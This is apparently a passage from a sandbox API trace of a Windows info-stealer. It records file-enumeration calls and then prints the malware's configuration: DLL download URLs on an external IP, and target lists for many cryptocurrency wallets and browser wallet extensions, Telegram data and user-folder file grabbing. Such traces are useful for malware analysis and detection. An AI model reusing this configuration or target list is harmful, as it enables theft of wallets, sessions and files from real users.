dwReserved0=0x6900c4, dwReserved1=0x6c0490, cFileName="Templates", cAlternateFileName="TEMPLA~1")) returned 1 [0266.179] lstrcmpW (lpString1="Templates", lpString2="Profiles") returned 1 [0266.179] lstrlenW (lpString="C:\\Users\\kEecfMwgj\\AppData\\Roaming\\Microsoft\\Windows") returned 52 [0266.179] FindNextFileW (in: hFindFile=0x6ca540, lpFindFileData=0x24ede8 | out: lpFindFileData=0x24ede8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x794f55f0, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x7996bf30, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0xef632f84, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x6900c4, dwReserved1=0x6c0490, cFileName="Themes", cAlternateFileName="")) returned 1 [0266.179] lstrcmpW (lpString1="Themes", lpString2="Profiles") returned 1 [0266.179] lstrlenW (lpString="C:\\Users\\kEecfMwgj\\AppData\\Roaming\\Microsoft\\Windows") returned 52 [0266.179] FindNextFileW (in: hFindFile=0x6ca540, lpFindFileData=0x24ede8 | out: lpFindFileData=0x24ede8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x794f55f0, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x7996bf30, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0xef632f84, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x6900c4, dwReserved1=0x6c0490, cFileName="Themes", cAlternateFileName="")) returned 0 [0266.179] FindClose (in: hFindFile=0x6ca540 | out: hFindFile=0x6ca540) returned 1 [0266.180] FindNextFileW (in: hFindFile=0x6ca4c0, lpFindFileData=0x24f260 | out: lpFindFileData=0x24f260*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x286ff470, ftCreationTime.dwHighDateTime=0x1d70912, ftLastAccessTime.dwLowDateTime=0x286ff470, ftLastAccessTime.dwHighDateTime=0x1d70912, ftLastWriteTime.dwLowDateTime=0x286ff470, ftLastWriteTime.dwHighDateTime=0x1d70912, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x6ef5a0, dwReserved1=0x20, cFileName="Word", cAlternateFileName="")) returned 1 [0266.180] lstrcmpW (lpString1="Word", lpString2="Profiles") returned 1 [0266.180] lstrlenW (lpString="C:\\Users\\kEecfMwgj\\AppData\\Roaming\\Microsoft") returned 44 [0266.180] FindFirstFileW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Roaming\\Microsoft\\Word\\*" (normalized: "c:\\users\\keecfmwgj\\appdata\\roaming\\microsoft\\word\\*"), lpFindFileData=0x24ede8 | out: lpFindFileData=0x24ede8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x286ff470, ftCreationTime.dwHighDateTime=0x1d70912, ftLastAccessTime.dwLowDateTime=0x286ff470, ftLastAccessTime.dwHighDateTime=0x1d70912, ftLastWriteTime.dwLowDateTime=0x286ff470, ftLastWriteTime.dwHighDateTime=0x1d70912, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x6900c4, dwReserved1=0x6c0490, cFileName=".", cAlternateFileName="")) returned 0x6ca540 [0266.180] lstrcmpW (lpString1=".", lpString2="Profiles") returned -1 [0266.180] FindNextFileW (in: hFindFile=0x6ca540, lpFindFileData=0x24ede8 | out: lpFindFileData=0x24ede8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x286ff470, ftCreationTime.dwHighDateTime=0x1d70912, ftLastAccessTime.dwLowDateTime=0x286ff470, ftLastAccessTime.dwHighDateTime=0x1d70912, ftLastWriteTime.dwLowDateTime=0x286ff470, ftLastWriteTime.dwHighDateTime=0x1d70912, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x6900c4, dwReserved1=0x6c0490, cFileName="..", cAlternateFileName="")) returned 1 [0266.180] lstrcmpW (lpString1="..", lpString2="Profiles") returned -1 [0266.180] FindNextFileW (in: hFindFile=0x6ca540, lpFindFileData=0x24ede8 | out: lpFindFileData=0x24ede8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x286ff470, ftCreationTime.dwHighDateTime=0x1d70912, ftLastAccessTime.dwLowDateTime=0x286ff470, ftLastAccessTime.dwHighDateTime=0x1d70912, ftLastWriteTime.dwLowDateTime=0x286ff470, ftLastWriteTime.dwHighDateTime=0x1d70912, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x6900c4, dwReserved1=0x6c0490, cFileName="STARTUP", cAlternateFileName="")) returned 1 [0266.180] lstrcmpW (lpString1="STARTUP", lpString2="Profiles") returned 1 [0266.180] lstrlenW (lpString="C:\\Users\\kEecfMwgj\\AppData\\Roaming\\Microsoft\\Word") returned 49 [0266.180] FindNextFileW (in: hFindFile=0x6ca540, lpFindFileData=0x24ede8 | out: lpFindFileData=0x24ede8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x286ff470, ftCreationTime.dwHighDateTime=0x1d70912, ftLastAccessTime.dwLowDateTime=0x286ff470, ftLastAccessTime.dwHighDateTime=0x1d70912, ftLastWriteTime.dwLowDateTime=0x286ff470, ftLastWriteTime.dwHighDateTime=0x1d70912, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x6900c4, dwReserved1=0x6c0490, cFileName="STARTUP", cAlternateFileName="")) returned 0 [0266.180] FindClose (in: hFindFile=0x6ca540 | out: hFindFile=0x6ca540) returned 1 [0266.180] FindNextFileW (in: hFindFile=0x6ca4c0, lpFindFileData=0x24f260 | out: lpFindFileData=0x24f260*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x286ff470, ftCreationTime.dwHighDateTime=0x1d70912, ftLastAccessTime.dwLowDateTime=0x286ff470, ftLastAccessTime.dwHighDateTime=0x1d70912, ftLastWriteTime.dwLowDateTime=0x286ff470, ftLastWriteTime.dwHighDateTime=0x1d70912, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x6ef5a0, dwReserved1=0x20, cFileName="Word", cAlternateFileName="")) returned 0 [0266.180] FindClose (in: hFindFile=0x6ca4c0 | out: hFindFile=0x6ca4c0) returned 1 [0266.181] FindNextFileW (in: hFindFile=0x6ca500, lpFindFileData=0x24f6d8 | out: lpFindFileData=0x24f6d8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x54c5a5f0, ftCreationTime.dwHighDateTime=0x1d898c8, ftLastAccessTime.dwLowDateTime=0xde657af0, ftLastAccessTime.dwHighDateTime=0x1d8a61b, ftLastWriteTime.dwLowDateTime=0xde657af0, ftLastWriteTime.dwHighDateTime=0x1d8a61b, nFileSizeHigh=0x0, nFileSizeLow=0x14393, dwReserved0=0x0, dwReserved1=0x76f33ca3, cFileName="OGxRDj.wav", cAlternateFileName="")) returned 1 [0266.181] FindNextFileW (in: hFindFile=0x6ca500, lpFindFileData=0x24f6d8 | out: lpFindFileData=0x24f6d8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xa61402d0, ftCreationTime.dwHighDateTime=0x1d8a129, ftLastAccessTime.dwLowDateTime=0x62555970, ftLastAccessTime.dwHighDateTime=0x1d8a5f9, ftLastWriteTime.dwLowDateTime=0x62555970, ftLastWriteTime.dwHighDateTime=0x1d8a5f9, nFileSizeHigh=0x0, nFileSizeLow=0xcff7, dwReserved0=0x0, dwReserved1=0x76f33ca3, cFileName="oLsj2.png", cAlternateFileName="")) returned 1 [0266.181] FindNextFileW (in: hFindFile=0x6ca500, lpFindFileData=0x24f6d8 | out: lpFindFileData=0x24f6d8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x6eb021f0, ftCreationTime.dwHighDateTime=0x1d897f8, ftLastAccessTime.dwLowDateTime=0x132650e0, ftLastAccessTime.dwHighDateTime=0x1d89c29, ftLastWriteTime.dwLowDateTime=0x132650e0, ftLastWriteTime.dwHighDateTime=0x1d89c29, nFileSizeHigh=0x0, nFileSizeLow=0xb5f1, dwReserved0=0x0, dwReserved1=0x76f33ca3, cFileName="pebS39q9vzkDEPFYkz.ods", cAlternateFileName="PEBS39~1.ODS")) returned 1 [0266.181] FindNextFileW (in: hFindFile=0x6ca500, lpFindFileData=0x24f6d8 | out: lpFindFileData=0x24f6d8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x898086b0, ftCreationTime.dwHighDateTime=0x1d89cf2, ftLastAccessTime.dwLowDateTime=0xc4ef8ff0, ftLastAccessTime.dwHighDateTime=0x1d8a18b, ftLastWriteTime.dwLowDateTime=0xc4ef8ff0, ftLastWriteTime.dwHighDateTime=0x1d8a18b, nFileSizeHigh=0x0, nFileSizeLow=0x55ba, dwReserved0=0x0, dwReserved1=0x76f33ca3, cFileName="PNMdK3mpgtNb52te7W.mp3", cAlternateFileName="PNMDK3~1.MP3")) returned 1 [0266.181] FindNextFileW (in: hFindFile=0x6ca500, lpFindFileData=0x24f6d8 | out: lpFindFileData=0x24f6d8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x92b65a40, ftCreationTime.dwHighDateTime=0x1d8a623, ftLastAccessTime.dwLowDateTime=0xdd6bd1e0, ftLastAccessTime.dwHighDateTime=0x1d8a68d, ftLastWriteTime.dwLowDateTime=0xdd6bd1e0, ftLastWriteTime.dwHighDateTime=0x1d8a68d, nFileSizeHigh=0x0, nFileSizeLow=0xd00, dwReserved0=0x0, dwReserved1=0x76f33ca3, cFileName="qeSthG-ldt2d_Fn5GQ.xls", cAlternateFileName="QESTHG~1.XLS")) returned 1 [0266.181] FindNextFileW (in: hFindFile=0x6ca500, lpFindFileData=0x24f6d8 | out: lpFindFileData=0x24f6d8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x76707550, ftCreationTime.dwHighDateTime=0x1d8994e, ftLastAccessTime.dwLowDateTime=0x17f84750, ftLastAccessTime.dwHighDateTime=0x1d89ec6, ftLastWriteTime.dwLowDateTime=0x17f84750, ftLastWriteTime.dwHighDateTime=0x1d89ec6, nFileSizeHigh=0x0, nFileSizeLow=0x13940, dwReserved0=0x0, dwReserved1=0x76f33ca3, cFileName="rc0egV5-0xFuAD32d.ods", cAlternateFileName="RC0EGV~1.ODS")) returned 1 [0266.181] FindNextFileW (in: hFindFile=0x6ca500, lpFindFileData=0x24f6d8 | out: lpFindFileData=0x24f6d8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x429fcb80, ftCreationTime.dwHighDateTime=0x1d897ab, ftLastAccessTime.dwLowDateTime=0x62c73650, ftLastAccessTime.dwHighDateTime=0x1d8a020, ftLastWriteTime.dwLowDateTime=0x62c73650, ftLastWriteTime.dwHighDateTime=0x1d8a020, nFileSizeHigh=0x0, nFileSizeLow=0xab7c, dwReserved0=0x0, dwReserved1=0x76f33ca3, cFileName="RxbmZ-ivCPnLjdbmU.xls", cAlternateFileName="RXBMZ-~1.XLS")) returned 1 [0266.181] FindNextFileW (in: hFindFile=0x6ca500, lpFindFileData=0x24f6d8 | out: lpFindFileData=0x24f6d8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xa754a00, ftCreationTime.dwHighDateTime=0x1d89864, ftLastAccessTime.dwLowDateTime=0x81b88210, ftLastAccessTime.dwHighDateTime=0x1d8a527, ftLastWriteTime.dwLowDateTime=0x81b88210, ftLastWriteTime.dwHighDateTime=0x1d8a527, nFileSizeHigh=0x0, nFileSizeLow=0xeb90, dwReserved0=0x0, dwReserved1=0x76f33ca3, cFileName="S3J8TnVdB.pps", cAlternateFileName="S3J8TN~1.PPS")) returned 1 [0266.181] FindNextFileW (in: hFindFile=0x6ca500, lpFindFileData=0x24f6d8 | out: lpFindFileData=0x24f6d8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xa8120db0, ftCreationTime.dwHighDateTime=0x1d89b3f, ftLastAccessTime.dwLowDateTime=0x88062210, ftLastAccessTime.dwHighDateTime=0x1d8a1dc, ftLastWriteTime.dwLowDateTime=0x88062210, ftLastWriteTime.dwHighDateTime=0x1d8a1dc, nFileSizeHigh=0x0, nFileSizeLow=0xbe32, dwReserved0=0x0, dwReserved1=0x76f33ca3, cFileName="Uy4GFW7nQivs9nvAeBx.jpg", cAlternateFileName="UY4GFW~1.JPG")) returned 1 [0266.181] FindNextFileW (in: hFindFile=0x6ca500, lpFindFileData=0x24f6d8 | out: lpFindFileData=0x24f6d8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x3551b380, ftCreationTime.dwHighDateTime=0x1d8a034, ftLastAccessTime.dwLowDateTime=0x1b966e90, ftLastAccessTime.dwHighDateTime=0x1d8a359, ftLastWriteTime.dwLowDateTime=0x1b966e90, ftLastWriteTime.dwHighDateTime=0x1d8a359, nFileSizeHigh=0x0, nFileSizeLow=0x6950, dwReserved0=0x0, dwReserved1=0x76f33ca3, cFileName="V_DbMhsbPw.flv", cAlternateFileName="V_DBMH~1.FLV")) returned 1 [0266.181] FindNextFileW (in: hFindFile=0x6ca500, lpFindFileData=0x24f6d8 | out: lpFindFileData=0x24f6d8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xed7fff10, ftCreationTime.dwHighDateTime=0x1d8a715, ftLastAccessTime.dwLowDateTime=0x4e6890c0, ftLastAccessTime.dwHighDateTime=0x1d8a744, ftLastWriteTime.dwLowDateTime=0x4e6890c0, ftLastWriteTime.dwHighDateTime=0x1d8a744, nFileSizeHigh=0x0, nFileSizeLow=0x14cd8, dwReserved0=0x0, dwReserved1=0x76f33ca3, cFileName="y0WJ52L8tQh_.jpg", cAlternateFileName="Y0WJ52~1.JPG")) returned 1 [0266.181] FindNextFileW (in: hFindFile=0x6ca500, lpFindFileData=0x24f6d8 | out: lpFindFileData=0x24f6d8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x7e52780, ftCreationTime.dwHighDateTime=0x1d89a4c, ftLastAccessTime.dwLowDateTime=0x499dd3f0, ftLastAccessTime.dwHighDateTime=0x1d8a570, ftLastWriteTime.dwLowDateTime=0x499dd3f0, ftLastWriteTime.dwHighDateTime=0x1d8a570, nFileSizeHigh=0x0, nFileSizeLow=0x26b0, dwReserved0=0x0, dwReserved1=0x76f33ca3, cFileName="YC 0_vsD.pdf", cAlternateFileName="YC0_VS~1.PDF")) returned 1 [0266.181] FindNextFileW (in: hFindFile=0x6ca500, lpFindFileData=0x24f6d8 | out: lpFindFileData=0x24f6d8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xd1fd1ed0, ftCreationTime.dwHighDateTime=0x1d8a14d, ftLastAccessTime.dwLowDateTime=0x5c0af440, ftLastAccessTime.dwHighDateTime=0x1d8a553, ftLastWriteTime.dwLowDateTime=0x5c0af440, ftLastWriteTime.dwHighDateTime=0x1d8a553, nFileSizeHigh=0x0, nFileSizeLow=0xf38e, dwReserved0=0x0, dwReserved1=0x76f33ca3, cFileName="YPNiaah3.mp3", cAlternateFileName="")) returned 1 [0266.181] FindNextFileW (in: hFindFile=0x6ca500, lpFindFileData=0x24f6d8 | out: lpFindFileData=0x24f6d8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x38236580, ftCreationTime.dwHighDateTime=0x1d8a5e4, ftLastAccessTime.dwLowDateTime=0x1cb75af0, ftLastAccessTime.dwHighDateTime=0x1d8a6a6, ftLastWriteTime.dwLowDateTime=0x1cb75af0, ftLastWriteTime.dwHighDateTime=0x1d8a6a6, nFileSizeHigh=0x0, nFileSizeLow=0xbefa, dwReserved0=0x0, dwReserved1=0x76f33ca3, cFileName="Z743XvLxgzIYUtavkp--.avi", cAlternateFileName="Z743XV~1.AVI")) returned 1 [0266.181] FindNextFileW (in: hFindFile=0x6ca500, lpFindFileData=0x24f6d8 | out: lpFindFileData=0x24f6d8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x38236580, ftCreationTime.dwHighDateTime=0x1d8a5e4, ftLastAccessTime.dwLowDateTime=0x1cb75af0, ftLastAccessTime.dwHighDateTime=0x1d8a6a6, ftLastWriteTime.dwLowDateTime=0x1cb75af0, ftLastWriteTime.dwHighDateTime=0x1d8a6a6, nFileSizeHigh=0x0, nFileSizeLow=0xbefa, dwReserved0=0x0, dwReserved1=0x76f33ca3, cFileName="Z743XvLxgzIYUtavkp--.avi", cAlternateFileName="Z743XV~1.AVI")) returned 0 [0266.181] FindClose (in: hFindFile=0x6ca500 | out: hFindFile=0x6ca500) returned 1 [0266.182] LocalFree (hMem=0x6bf278) returned 0x0 [0266.183] StrStrW (lpFirst="libs_nss3:http://51.195.166.178/aN7jD0qO6kT5bK5bQ4eR8fE1xP7hL2vK/nss3.dll\nlibs_msvcp140:http://51.195.166.178/aN7jD0qO6kT5bK5bQ4eR8fE1xP7hL2vK/msvcp140.dll\nlibs_vcruntime140:http://51.195.166.178/aN7jD0qO6kT5bK5bQ4eR8fE1xP7hL2vK/vcruntime140.dll\nlibs_mozglue:http://51.195.166.178/aN7jD0qO6kT5bK5bQ4eR8fE1xP7hL2vK/mozglue.dll\nlibs_freebl3:http://51.195.166.178/aN7jD0qO6kT5bK5bQ4eR8fE1xP7hL2vK/freebl3.dll\nlibs_softokn3:http://51.195.166.178/aN7jD0qO6kT5bK5bQ4eR8fE1xP7hL2vK/softokn3.dll\news_meta_e:ejbalbakoplchlghecdalmeeeajnimhm;MetaMask;Local Extension Settings\news_tronl:ibnejdfjmmkpcnlpebklmnkoeoihofec;TronLink;Local Extension Settings\nlibs_sqlite3:http://51.195.166.178/aN7jD0qO6kT5bK5bQ4eR8fE1xP7hL2vK/sqlite3.dll\news_bsc:fhbohimaelbohpjbbldcngcnapndodjp;BinanceChain;Local Extension Settings\news_ronin:fnjhmkhhmkbjkkabndcnnogagogbneec;Ronin;Local Extension Settings\nwlts_exodus:Exodus;26;exodus;*;*partitio*,*cache*,*dictionar*\nwlts_atomic:Atomic;26;atomic;*;*cache*,*IndexedDB*\nwlts_jaxxl:JaxxLiberty;26;com.liberty.jaxx;*;*cache*\nwlts_binance:Binance;26;Binance;*app-store.*;-\nwlts_coinomi:Coinomi;28;Coinomi\\Coinomi\\wallets;*;-\nwlts_electrum:Electrum;26;Electrum\\wallets;*;-\nwlts_elecltc:Electrum-LTC;26;Electrum-LTC\\wallets;*;-\nwlts_elecbch:ElectronCash;26;ElectronCash\\wallets;*;-\nwlts_guarda:Guarda;26;Guarda;*;*cache*,*IndexedDB*\nwlts_green:BlockstreamGreen;28;Blockstream\\Green;*;cache,gdk,*logs*\nwlts_ledger:Ledger Live;26;Ledger Live;*;*cache*,*dictionar*,*sqlite*\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_meta:nkbihfbeogaeaoehlefnkodbefgpgknn;MetaMask;Local Extension Settings\nsstmnfo_System Info.txt:System Information: \n|Installed applications:\n|\nwlts_daedalus:Daedalus;26;Daedalus Mainnet;*;log*,*cache,chain,dictionar*\nwlts_mymonero:MyMonero;26;MyMonero;*;*cache*\nwlts_xmr:Monero;5;Monero\\\\wallets;*.keys;-\nwlts_wasabi:Wasabi;26;WalletWasabi\\\\Client;*;*tor*,*log*\news_metax:mcohilncbfahbmgdjkbpemcciiolgcge;MetaX;Local Extension Settings\news_xdefi:hmeobnfnfcmdkdcmlblgagmfpfboieaf;XDEFI;IndexedDB\news_waveskeeper:lpilbniiabackdjcionkobglmddfbcjo;WavesKeeper;Local Extension Settings\news_solflare:bhhhlbepdkbapadjdnnojkbgioiodbic;Solflare;Local Extension Settings\news_rabby:acmacodkjbdgmoleebolmdjonilkdbch;Rabby;Local Extension Settings\news_cyano:dkdedlpgdmmkkfjabffeganieamfklkm;CyanoWallet;Local Extension Settings\news_coinbase:hnfanknocfeofbddgcijnmhnfnkdnaad;Coinbase;IndexedDB\news_auromina:cnmamaachppnkjgnildpdmkaakejnhae;AuroWallet;Local Extension Settings\news_khc:hcflpincpppdclinealmandijcmnkbgn;KHC;Local Extension Settings\news_tezbox:mnfifefkajgofkcjkemidiaecocnkjeh;TezBox;Local Extension Settings\news_coin98:aeachknmefphepccionboohckonoeemg;Coin98;Local Extension Settings\news_temple:ookjlbkiijinhpmnjffcofjonbfbgaoc;Temple;Local Extension Settings\news_iconex:flpiciilemghbmfalicajoolhkkenfel;ICONex;Local Extension Settings\news_sollet:fhmfendgdocmcbmfikdcogofphimnkno;Sollet;Local Extension Settings\news_clover:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_polymesh:jojhfeoedkpkglbfimdfabpdfjaoolaf;PolymeshWallet;Local Extension Settings\news_neoline:cphhlgmgameodnhkjdmkpanlelnlohao;NeoLine;Local Extension Settings\news_keplr:dmkamcknogkgcdfhhbddcghachkejeap;Keplr;Local Extension Settings\news_terra_e:ajkhoeiiokighlmdnlakpjfoobnjinie;TerraStation;Local Extension Settings\news_terra:aiifbnbfobpmeekipheeijimdpnlpgpp;TerraStation;Local Extension Settings\news_liquality:kpfopkelmapcoipemfendmdcghnegimn;Liquality;Local Extension Settings\news_saturn:nkddgncdjgjfcddamfgcmfnlhccnimig;SaturnWallet;Local Extension Settings\news_guild:nanjmdknhkinifnkgdcggcfnhdaammmj;GuildWallet;Local Extension Settings\news_phantom:bfnaelmomeimhlpmgjnjophhpkkoljpa;Phantom;Local Extension Settings\news_tronlink:ibnejdfjmmkpcnlpebklmnkoeoihofec;TronLink;Local Extension Settings\news_brave:odbfpeeihdkbihmopkbjmoonfanlbfcl;Brave;Local Extension Settings\news_meta_e:ejbalbakoplchlghecdalmeeeajnimhm;MetaMask;Local Extension Settings\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_mewcx:nlbmnnijcnlegkjjpcfjclmcfggfefdm;MEW_CX;Sync Extension Settings\news_ton:cgeeodpfagjceefieflmdfphplkenlfk;TON;Local Extension Settings\news_goby:jnkelfanjkeadonecabehalmbgpfodjm;Goby;Local Extension Settings\news_ton_ex:nphplpgoakhhjchkkhmiggakijnkhfnd;TON;Local Extension Settings\news_Cosmostation:fpkhgmpbidmiogeglndfbkegfdlnajnf;Cosmostation;Local Extension Settings\news_bitkeep:jiidiaalihmmhddjgbnbgdfflelocpak;BitKeep;Local Extension Settings\news_gamestopext:pkkjjapmlcncipeecdmlhaipahfdphkd;GameStop;Local Extension Settings\news_stargazer:pgiaagfkgcbnmiiolekcfmljdagdhlcm;Stargazer;Local Extension Settings\news_clv:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_jaxxlibertyext:cjelfplplebdjjenllpjcblmjkfcffne;JaxxLibertyExtension;Local Extension Settings\nscrnsht_Screenshot.jpeg:1\ntlgrm_Telegram:Telegram Desktop\\tdata|*|*emoji*,*user_data*,*tdummy*,*dumps*\ngrbr_desktop:%USERPROFILE%\\Desktop\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_documents:%USERPROFILE%\\Documents\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_downloads:%USERPROFILE%\\Downloads\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ntoken:ecfd0f9298730a5c1fb78c7f49eedff3", lpSrch="wlts_") returned="wlts_exodus:Exodus;26;exodus;*;*partitio*,*cache*,*dictionar*\nwlts_atomic:Atomic;26;atomic;*;*cache*,*IndexedDB*\nwlts_jaxxl:JaxxLiberty;26;com.liberty.jaxx;*;*cache*\nwlts_binance:Binance;26;Binance;*app-store.*;-\nwlts_coinomi:Coinomi;28;Coinomi\\Coinomi\\wallets;*;-\nwlts_electrum:Electrum;26;Electrum\\wallets;*;-\nwlts_elecltc:Electrum-LTC;26;Electrum-LTC\\wallets;*;-\nwlts_elecbch:ElectronCash;26;ElectronCash\\wallets;*;-\nwlts_guarda:Guarda;26;Guarda;*;*cache*,*IndexedDB*\nwlts_green:BlockstreamGreen;28;Blockstream\\Green;*;cache,gdk,*logs*\nwlts_ledger:Ledger Live;26;Ledger Live;*;*cache*,*dictionar*,*sqlite*\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_meta:nkbihfbeogaeaoehlefnkodbefgpgknn;MetaMask;Local Extension Settings\nsstmnfo_System Info.txt:System Information: \n|Installed applications:\n|\nwlts_daedalus:Daedalus;26;Daedalus Mainnet;*;log*,*cache,chain,dictionar*\nwlts_mymonero:MyMonero;26;MyMonero;*;*cache*\nwlts_xmr:Monero;5;Monero\\\\wallets;*.keys;-\nwlts_wasabi:Wasabi;26;WalletWasabi\\\\Client;*;*tor*,*log*\news_metax:mcohilncbfahbmgdjkbpemcciiolgcge;MetaX;Local Extension Settings\news_xdefi:hmeobnfnfcmdkdcmlblgagmfpfboieaf;XDEFI;IndexedDB\news_waveskeeper:lpilbniiabackdjcionkobglmddfbcjo;WavesKeeper;Local Extension Settings\news_solflare:bhhhlbepdkbapadjdnnojkbgioiodbic;Solflare;Local Extension Settings\news_rabby:acmacodkjbdgmoleebolmdjonilkdbch;Rabby;Local Extension Settings\news_cyano:dkdedlpgdmmkkfjabffeganieamfklkm;CyanoWallet;Local Extension Settings\news_coinbase:hnfanknocfeofbddgcijnmhnfnkdnaad;Coinbase;IndexedDB\news_auromina:cnmamaachppnkjgnildpdmkaakejnhae;AuroWallet;Local Extension Settings\news_khc:hcflpincpppdclinealmandijcmnkbgn;KHC;Local Extension Settings\news_tezbox:mnfifefkajgofkcjkemidiaecocnkjeh;TezBox;Local Extension Settings\news_coin98:aeachknmefphepccionboohckonoeemg;Coin98;Local Extension Settings\news_temple:ookjlbkiijinhpmnjffcofjonbfbgaoc;Temple;Local Extension Settings\news_iconex:flpiciilemghbmfalicajoolhkkenfel;ICONex;Local Extension Settings\news_sollet:fhmfendgdocmcbmfikdcogofphimnkno;Sollet;Local Extension Settings\news_clover:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_polymesh:jojhfeoedkpkglbfimdfabpdfjaoolaf;PolymeshWallet;Local Extension Settings\news_neoline:cphhlgmgameodnhkjdmkpanlelnlohao;NeoLine;Local Extension Settings\news_keplr:dmkamcknogkgcdfhhbddcghachkejeap;Keplr;Local Extension Settings\news_terra_e:ajkhoeiiokighlmdnlakpjfoobnjinie;TerraStation;Local Extension Settings\news_terra:aiifbnbfobpmeekipheeijimdpnlpgpp;TerraStation;Local Extension Settings\news_liquality:kpfopkelmapcoipemfendmdcghnegimn;Liquality;Local Extension Settings\news_saturn:nkddgncdjgjfcddamfgcmfnlhccnimig;SaturnWallet;Local Extension Settings\news_guild:nanjmdknhkinifnkgdcggcfnhdaammmj;GuildWallet;Local Extension Settings\news_phantom:bfnaelmomeimhlpmgjnjophhpkkoljpa;Phantom;Local Extension Settings\news_tronlink:ibnejdfjmmkpcnlpebklmnkoeoihofec;TronLink;Local Extension Settings\news_brave:odbfpeeihdkbihmopkbjmoonfanlbfcl;Brave;Local Extension Settings\news_meta_e:ejbalbakoplchlghecdalmeeeajnimhm;MetaMask;Local Extension Settings\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_mewcx:nlbmnnijcnlegkjjpcfjclmcfggfefdm;MEW_CX;Sync Extension Settings\news_ton:cgeeodpfagjceefieflmdfphplkenlfk;TON;Local Extension Settings\news_goby:jnkelfanjkeadonecabehalmbgpfodjm;Goby;Local Extension Settings\news_ton_ex:nphplpgoakhhjchkkhmiggakijnkhfnd;TON;Local Extension Settings\news_Cosmostation:fpkhgmpbidmiogeglndfbkegfdlnajnf;Cosmostation;Local Extension Settings\news_bitkeep:jiidiaalihmmhddjgbnbgdfflelocpak;BitKeep;Local Extension Settings\news_gamestopext:pkkjjapmlcncipeecdmlhaipahfdphkd;GameStop;Local Extension Settings\news_stargazer:pgiaagfkgcbnmiiolekcfmljdagdhlcm;Stargazer;Local Extension Settings\news_clv:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_jaxxlibertyext:cjelfplplebdjjenllpjcblmjkfcffne;JaxxLibertyExtension;Local Extension Settings\nscrnsht_Screenshot.jpeg:1\ntlgrm_Telegram:Telegram Desktop\\tdata|*|*emoji*,*user_data*,*tdummy*,*dumps*\ngrbr_desktop:%USERPROFILE%\\Desktop\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_documents:%USERPROFILE%\\Documents\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_downloads:%USERPROFILE%\\Downloads\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ntoken:ecfd0f9298730a5c1fb78c7f49eedff3" [0266.183] StrStrW (lpFirst="exodus:Exodus;26;exodus;*;*partitio*,*cache*,*dictionar*\nwlts_atomic:Atomic;26;atomic;*;*cache*,*IndexedDB*\nwlts_jaxxl:JaxxLiberty;26;com.liberty.jaxx;*;*cache*\nwlts_binance:Binance;26;Binance;*app-store.*;-\nwlts_coinomi:Coinomi;28;Coinomi\\Coinomi\\wallets;*;-\nwlts_electrum:Electrum;26;Electrum\\wallets;*;-\nwlts_elecltc:Electrum-LTC;26;Electrum-LTC\\wallets;*;-\nwlts_elecbch:ElectronCash;26;ElectronCash\\wallets;*;-\nwlts_guarda:Guarda;26;Guarda;*;*cache*,*IndexedDB*\nwlts_green:BlockstreamGreen;28;Blockstream\\Green;*;cache,gdk,*logs*\nwlts_ledger:Ledger Live;26;Ledger 